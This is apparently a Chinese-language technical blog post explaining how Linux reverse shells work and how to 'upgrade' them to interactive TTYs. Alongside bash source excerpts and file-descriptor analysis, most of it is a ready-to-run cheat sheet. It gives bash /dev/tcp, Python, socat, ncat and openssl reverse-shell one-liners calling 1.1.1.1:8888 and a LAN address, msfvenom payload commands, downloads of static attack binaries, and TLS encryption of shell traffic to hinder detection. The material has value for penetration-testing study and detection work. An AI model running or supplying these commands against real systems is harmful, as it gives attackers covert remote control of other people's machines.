如何在 Linux 中优雅地搞定 Reverse Shell
xxxxxxxxxxbash -i >& /dev/tcp/host/port 0>&1bash -c "bash -i >& /dev/tcp/host/port 0>&1"nc -lvp portbash -i
https://www.gnu.org/software/bash/manual/bash.html#Interactive-Shells
Bash 反弹 shell 的基本原理是将 Bash 的 stdin、stdout 和 stderr 文件描述符重定向到用于创建网络连接的 special filenames /dev/tcp/host/port。
xxxxxxxxxx/dev/stdinFile descriptor 0 is duplicated.
xxxxxxxxxx/dev/stdoutFile descriptor 1 is duplicated.
xxxxxxxxxx/dev/stderrFile descriptor 2 is duplicated.
在 bash -i >& /dev/tcp/host/port 0>&1 中包含两处 >& 符号,这两处作用并不相同。
第一处 >&:格式为 &>word 或者 >&word,等同于 >word 2>&1,将 stdout 和 stderr 重定向到 word。
https://www.gnu.org/software/bash/manual/bash.html#Redirecting-Standard-Output-and-Standard-Error
第二处 >&:格式为 [n]<&word 或者 [n]>&word,n 复制 word 的文件描述符。
https://www.gnu.org/software/bash/manual/bash.html#Duplicating-File-Descriptors
可以将 bash -i >& /dev/tcp/host/port 0>&1 分解为以下几部分:
在反弹 shell 主机中输入命令,输出在监听主机中显示,错误在反弹 shell 主机中显示。
xxxxxxxxxxbash -i > /dev/tcp/host/port在监听主机中输入命令,输出和错误在反弹 shell 主机中显示。
xxxxxxxxxxbash -i < /dev/tcp/host/port在反弹 shell 主机中输入命令,输出和错误在监听主机中显示。
xxxxxxxxxxbash -i >& /dev/tcp/host/port在上一条的基础上,stdin 复制 stdout 的文件描述符。
xxxxxxxxxxbash -i >& /dev/tcp/host/port 0>&1结合以上几部分,形成一个完整的 Reverse Shell。
xxxxxxxxxxps -ef | grep bashls -l /proc/pid/fdxxxxxxxxxxpidof bashlsof -p pid在 SSH 连接中查看当前 shell 的文件描述符,输出如下:
xxxxxxxxxxlrwx------. 1 root root 64 0 -> /dev/pts/0lrwx------. 1 root root 64 1 -> /dev/pts/0lrwx------. 1 root root 64 2 -> /dev/pts/0lrwx------. 1 root root 64 255 -> /dev/pts/0
在反弹 shell 中执行相同的命令,输出如下:
xxxxxxxxxxlrwx------. 1 root root 64 0 -> socket:[48878]lrwx------. 1 root root 64 1 -> socket:[48878]lrwx------. 1 root root 64 2 -> socket:[48878]lrwx------. 1 root root 64 255 -> /dev/tty
0、1、2 分别对应 stdin、stdout 和 stderr。
xxxxxxxxxxnc -lp portecho WAAAGH! > /dev/tcp/127.0.0.1/portxxxxxxxxxx/dev/tcp/host/portIf host is a valid hostname or Internet address, and port is an integer port number or service name, Bash attempts to open the corresponding TCP socket.
xxxxxxxxxx/dev/udp/host/portIf host is a valid hostname or Internet address, and port is an integer port number or service name, Bash attempts to open the corresponding UDP socket.
https://www.gnu.org/software/bash/
https://www.gnu.org/software/bash/manual/bash.html
xxxxxxxxxx/* A list of pattern/value pairs for filenames that the redirection code handles specially. */static STRING_INT_ALIST _redir_special_filenames[] = { { "/dev/fd/[0-9]*", RF_DEVFD }, { "/dev/stderr", RF_DEVSTDERR }, { "/dev/stdin", RF_DEVSTDIN }, { "/dev/stdout", RF_DEVSTDOUT }, { "/dev/tcp/*/*", RF_DEVTCP }, { "/dev/udp/*/*", RF_DEVUDP }, { (char *)NULL, -1 }};xxxxxxxxxxstatic intredir_open (filename, flags, mode, ri) char *filename; int flags, mode; enum r_instruction ri;{ int fd, r, e;
r = find_string_in_alist (filename, _redir_special_filenames, 1); if (r >= 0) return (redir_special_open (r, filename, flags, mode, ri));
/* If we are in noclobber mode, you are not allowed to overwrite existing files. Check before opening. */ if (noclobber && CLOBBERING_REDIRECT (ri)) { fd = noclobber_open (filename, flags, mode, ri); if (fd == NOCLOBBER_REDIRECT) return (NOCLOBBER_REDIRECT); } else { do { fd = open (filename, flags, mode); e = errno; if (fd < 0 && e == EINTR) { QUIT; run_pending_traps (); } errno = e; } while (fd < 0 && errno == EINTR);
if ((fd < 0) && (errno == EACCES)) { fd = open (filename, flags & ~O_CREAT, mode); errno = EACCES; /* restore errno */ }/* AFS */ }
return fd;}xxxxxxxxxxstatic intredir_special_open (spec, filename, flags, mode, ri) int spec; char *filename; int flags, mode; enum r_instruction ri;{ int fd; intmax_t lfd;
fd = -1; switch (spec) { case RF_DEVFD: if (all_digits (filename+8) && legal_number (filename+8, &lfd) && lfd == (int)lfd) { fd = lfd; fd = fcntl (fd, F_DUPFD, SHELL_FD_BASE); } else fd = AMBIGUOUS_REDIRECT; break;
case RF_DEVSTDIN: fd = fcntl (0, F_DUPFD, SHELL_FD_BASE); break; case RF_DEVSTDOUT: fd = fcntl (1, F_DUPFD, SHELL_FD_BASE); break; case RF_DEVSTDERR: fd = fcntl (2, F_DUPFD, SHELL_FD_BASE); break;
case RF_DEVTCP: case RF_DEVUDP: if (restricted) return (RESTRICTED_REDIRECT); fd = netopen (filename); internal_warning (_("/dev/(tcp|udp)/host/port not supported without networking")); fd = open (filename, flags, mode); break;/* NETWORK_REDIRECTIONS */ }
return fd;}xxxxxxxxxx/* * Open a TCP or UDP connection given a path like `/dev/tcp/host/port' to * host `host' on port `port' and return the connected socket. */intnetopen (path) char *path;{ char *np, *s, *t; int fd;
np = (char *)xmalloc (strlen (path) + 1); strcpy (np, path);
s = np + 9; t = strchr (s, '/'); if (t == 0) { internal_error (_("%s: bad network path specification"), path); free (np); return -1; } *t++ = '\0'; fd = _netopen (s, t, path[5]); free (np);
return fd;}xxxxxxxxxx/* * Open a TCP or UDP connection to HOST on port SERV. Uses getaddrinfo(3) * if available, falling back to the traditional BSD mechanisms otherwise. * Returns the connected socket or -1 on error. */static int _netopen(host, serv, typ) char *host, *serv; int typ;{ return (_netopen6 (host, serv, typ)); return (_netopen4 (host, serv, typ));}xxxxxxxxxx/* * Open a TCP or UDP connection to HOST on port SERV. Uses the * traditional BSD mechanisms. Returns the connected socket or -1 on error. */static int _netopen4(host, serv, typ) char *host, *serv; int typ;{ struct in_addr ina; struct sockaddr_in sin; unsigned short p; int s, e;
if (_getaddr(host, &ina) == 0) { internal_error (_("%s: host unknown"), host); errno = EINVAL; return -1; }
if (_getserv(serv, typ, &p) == 0) { internal_error(_("%s: invalid service"), serv); errno = EINVAL; return -1; } memset ((char *)&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = p; sin.sin_addr = ina;
s = socket(AF_INET, (typ == 't') ? SOCK_STREAM : SOCK_DGRAM, 0); if (s < 0) { sys_error ("socket"); return (-1); }
if (connect (s, (struct sockaddr *)&sin, sizeof (sin)) < 0) { e = errno; sys_error("connect"); close(s); errno = e; return (-1); }
return(s);}/dev/tcp/host/port 是 Bash 的特性而不是 Linux 的特性。
查看环境中是否存在 Python:
xxxxxxxxxxpython -Vpython3 -Vxxxxxxxxxxpython -c "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('1.1.1.1',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')"xxxxxxxxxxpython -c "exec(\"import socket,subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(('1.1.1.1',8888))\nwhile True:\n\tp=subprocess.Popen(s.recv(1024),shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)\n\ts.send(p.stdout.read()+p.stderr.read())\")"参考自 Metasploit:https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/python/shell_reverse_tcp.rb。
xxxxxxxxxxsearch type:payload name:pythonuse payload/cmd/unix/python/shell_reverse_tcpmsfvenom -p cmd/unix/python/shell_reverse_tcp LHOST=host LPORT=port
这种类型的 shell 从文件描述符和进程链的角度都比较难检测,但无法升级为交互式 shell。
xxxxxxxxxxsearch type:payload name:perl
xxxxxxxxxxsearch type:payload name:php
http://www.dest-unreach.org/socat/
http://www.dest-unreach.org/socat/doc/socat.html
xxxxxxxxxxsocat open:`tty`,rawer tcp-listen:portsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-connect:host:port静态链接的 socat:https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat
xxxxxxxxxxwget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat通过 SSL/TLS 加密 Reverse Shell 流量:
xxxxxxxxxxopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodesopenssl s_server -quiet -key key.pem -cert cert.pem -port 8888xxxxxxxxxxmkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 1.1.1.1:8888 > /tmp/s; rm /tmp/shttps://nmap.org/ncat/guide/index.html
xxxxxxxxxxncat --ssl -lvp portncat -e /bin/bash --ssl hostname portstderr 不会输出到远程主机。
静态链接的 Ncat:https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat
xxxxxxxxxxwget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncatxxxxxxxxxxsearch type:payload name:ssl
xxxxxxxxxxmsfvenom -p cmd/unix/reverse_perl_ssl LHOST=host LPORT=portmsfvenom -p cmd/unix/reverse_php_ssl LHOST=host LPORT=portmsfvenom -p cmd/unix/reverse_python_ssl LHOST=host LPORT=port
xxxxxxxxxxpython -c "exec(\"import socket,subprocess,ssl\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(('192.168.4.130',8888))\ns=ssl.wrap_socket(s)\nwhile True:\n\tp=subprocess.Popen(s.recv(1024),shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)\n\ts.sendall(p.stdout.read()+p.stderr.read())\")"参考自 Metasploit:https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb。
和 Python No Bash 相同,无法升级为交互式 shell。
https://github.com/andrew-d/static-binaries 中的 socat 不包含 openssl 特性。
https://github.com/ernw/static-toolbox/releases/tag/socat-v1.7.4.1 这个项目中的 socat 静态链接且包含 openssl 特性。
https://insinuator.net/2018/02/creating-static-binaries-for-nmap-socat-and-other-tools/
xxxxxxxxxxsocat open:`tty`,rawer openssl-listen:port,verify=0,cert=filename,key=filenamesocat exec:'bash -li',pty,stderr,setsid,sigint,sane openssl:host:port,verify=0xxxxxxxxxxwget https://github.com/ernw/static-toolbox/releases/download/socat-v1.7.4.1/socat-1.7.4.1-x86_64xxxxxxxxxxopen:`tty`,rawerfile:`tty`,raw,echo=0
tty 命令获取当前终端的 tty,写入这个文件的内容会输出到终端。
xxxxxxxxxxecho WAAAGH! > `tty`rawer 相当于命令 stty raw。
echo=0 相当于命令 stty -echo,禁用本地回显,由于 socat 反弹的 shell 并没有本地回显,所以这部分不是必须的。
xxxxxxxxxxexec:'bash -li',pty,stderr,setsid,sigint,sane
pty:创建伪终端。
Reverse Shell 与 SSH 登录的 shell 不同,其中的很多操作受限,原因在于 tty。
tty、pty 等相关概念可以参考以下几篇文章:
http://www.linusakesson.net/programming/tty/
https://www.cnblogs.com/liqiuhao/p/9031803.html
https://dev.to/napicella/linux-terminals-tty-pty-and-shell-192e
https://dev.to/napicella/linux-terminals-tty-pty-and-shell-part-2-2cb2
https://dev.to/dwgillies/comment/p49i
https://waynerv.com/posts/how-tty-system-works/
xxxxxxxxxxpython -c 'import pty;pty.spawn("/bin/bash")'python3 -c 'import pty;pty.spawn("/bin/bash")'python -c 'import pty;pty.spawn("/bin/sh")'python3 -c 'import pty;pty.spawn("/bin/sh")'
script /dev/null通过前面的分析可以了解到,Reverse Shell 与交互式 shell 的区别在于 Reverse Shell 的 stdin、stdout 和 stderr 被重定向到远程主机,而交互式 shell 的 stdin、stdout 和 stderr 连接到本地的 tty,而会话管理、信号控制等功能都是在 tty 中实现的,因此在 Reverse Shell 中无法进行交互操作。
以上这些命令,会创建一个连接到本地 tty 的 shell,并将交互操作由 Reverse Shell 中转到远程主机。
xxxxxxxxxxbash(remote) <----> bash(local)bash(local) <----> ttybash(remote) <----> bash(local) <----> python <----> bash(local) <----> tty
SSH 登录主机:
进程链
xxxxxxxxxxpstree -psshd(1046)───sshd(11654)───bash(11658)───pstree(12061)tty
xxxxxxxxxxtty/dev/pts/0fd
xxxxxxxxxxls -l /proc/pid/fdlrwx------. 1 root root 64 0 -> /dev/pts/0lrwx------. 1 root root 64 1 -> /dev/pts/0lrwx------. 1 root root 64 2 -> /dev/pts/0lrwx------. 1 root root 64 255 -> /dev/pts/0反弹 shell 到远程主机:
进程链
xxxxxxxxxxpstree -psshd(1046)---sshd(11654)---bash(11658)---bash(12089)---pstree(12092)tty
xxxxxxxxxxtty不是一个 ttyfd
xxxxxxxxxxls -l /proc/pid/fdlrwx------. 1 root root 64 0 -> socket:[51111]lrwx------. 1 root root 64 1 -> socket:[51111]lrwx------. 1 root root 64 2 -> socket:[51111]lrwx------. 1 root root 64 255 -> /dev/tty升级到 TTY Shell:
xxxxxxxxxxpython -c 'import pty;pty.spawn("/bin/bash")'进程链
xxxxxxxxxxpstree -psshd(1046)───sshd(11654)───bash(11658)───bash(12089)───python(12098)───bash(12099)───pstree(12108)bash(11658):SSH 登录
bash(12089):反弹 shell
bash(12099):TTY Shell
tty
xxxxxxxxxxtty/dev/pts/1
fd
xxxxxxxxxxls -l /proc/pid/fdlrwx------. 1 root root 64 0 -> /dev/pts/1lrwx------. 1 root root 64 1 -> /dev/pts/1lrwx------. 1 root root 64 2 -> /dev/pts/1lrwx------. 1 root root 64 255 -> /dev/pts/1https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
https://www.youtube.com/watch?v=oI_ZhFCS3AQ#t=25m53s
https://web.archive.org/web/20220711155053/https://www.youtube.com/watch?v=oI_ZhFCS3AQ
xxxxxxxxxxpython -c 'import pty;pty.spawn("/bin/bash")'Ctrl+Z
jobs -l
echo $SHELLecho $TERMstty -a
stty raw -echofgEnter
resetexport SHELL=bashexport TERM=xterm-256colorstty rows <num> columns <cols>https://github.com/calebstewart/pwncat
https://pwncat.readthedocs.io/
pwncat 可以自动化获取完全交互式 Shell。
xxxxxxxxxxpwncat-cs :4444pwncat-cs --ssl -lp 4444Ctrl+Dxxxxxxxxxxpwncat-cs :4444nc -lvp port
bash -i >& /dev/tcp/host/port 0>&1bash -c "bash -i >& /dev/tcp/host/port 0>&1"python -c "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('1.1.1.1',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')"
socat open:`tty`,rawer tcp-listen:portsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-connect:host:portxxxxxxxxxxpwncat-cs --ssl -lp 4444
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 1.1.1.1:8888 > /tmp/s; rm /tmp/sncat -e /bin/bash --ssl hostname port
socat open:`tty`,rawer openssl-listen:port,verify=0,cert=filename,key=filenamesocat exec:'bash -li',pty,stderr,setsid,sigint,sane openssl:host:port,verify=0xxxxxxxxxxpython -c 'import pty;pty.spawn("/bin/bash")'Ctrl+Z
jobs -l
echo $SHELLecho $TERMstty -a
stty raw -echofgEnter
resetexport SHELL=bashexport TERM=xterm-256colorstty rows <num> columns <cols>https://evilpan.com/2021/04/25/reverse-shell/
https://green-m.me/2019/11/06/encrypt-reverse-shell/
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
http://blog.evalbug.com/2018/07/25/antsword_prompt_shell/
https://erev0s.com/blog/encrypted-bind-and-reverse-shells-socat/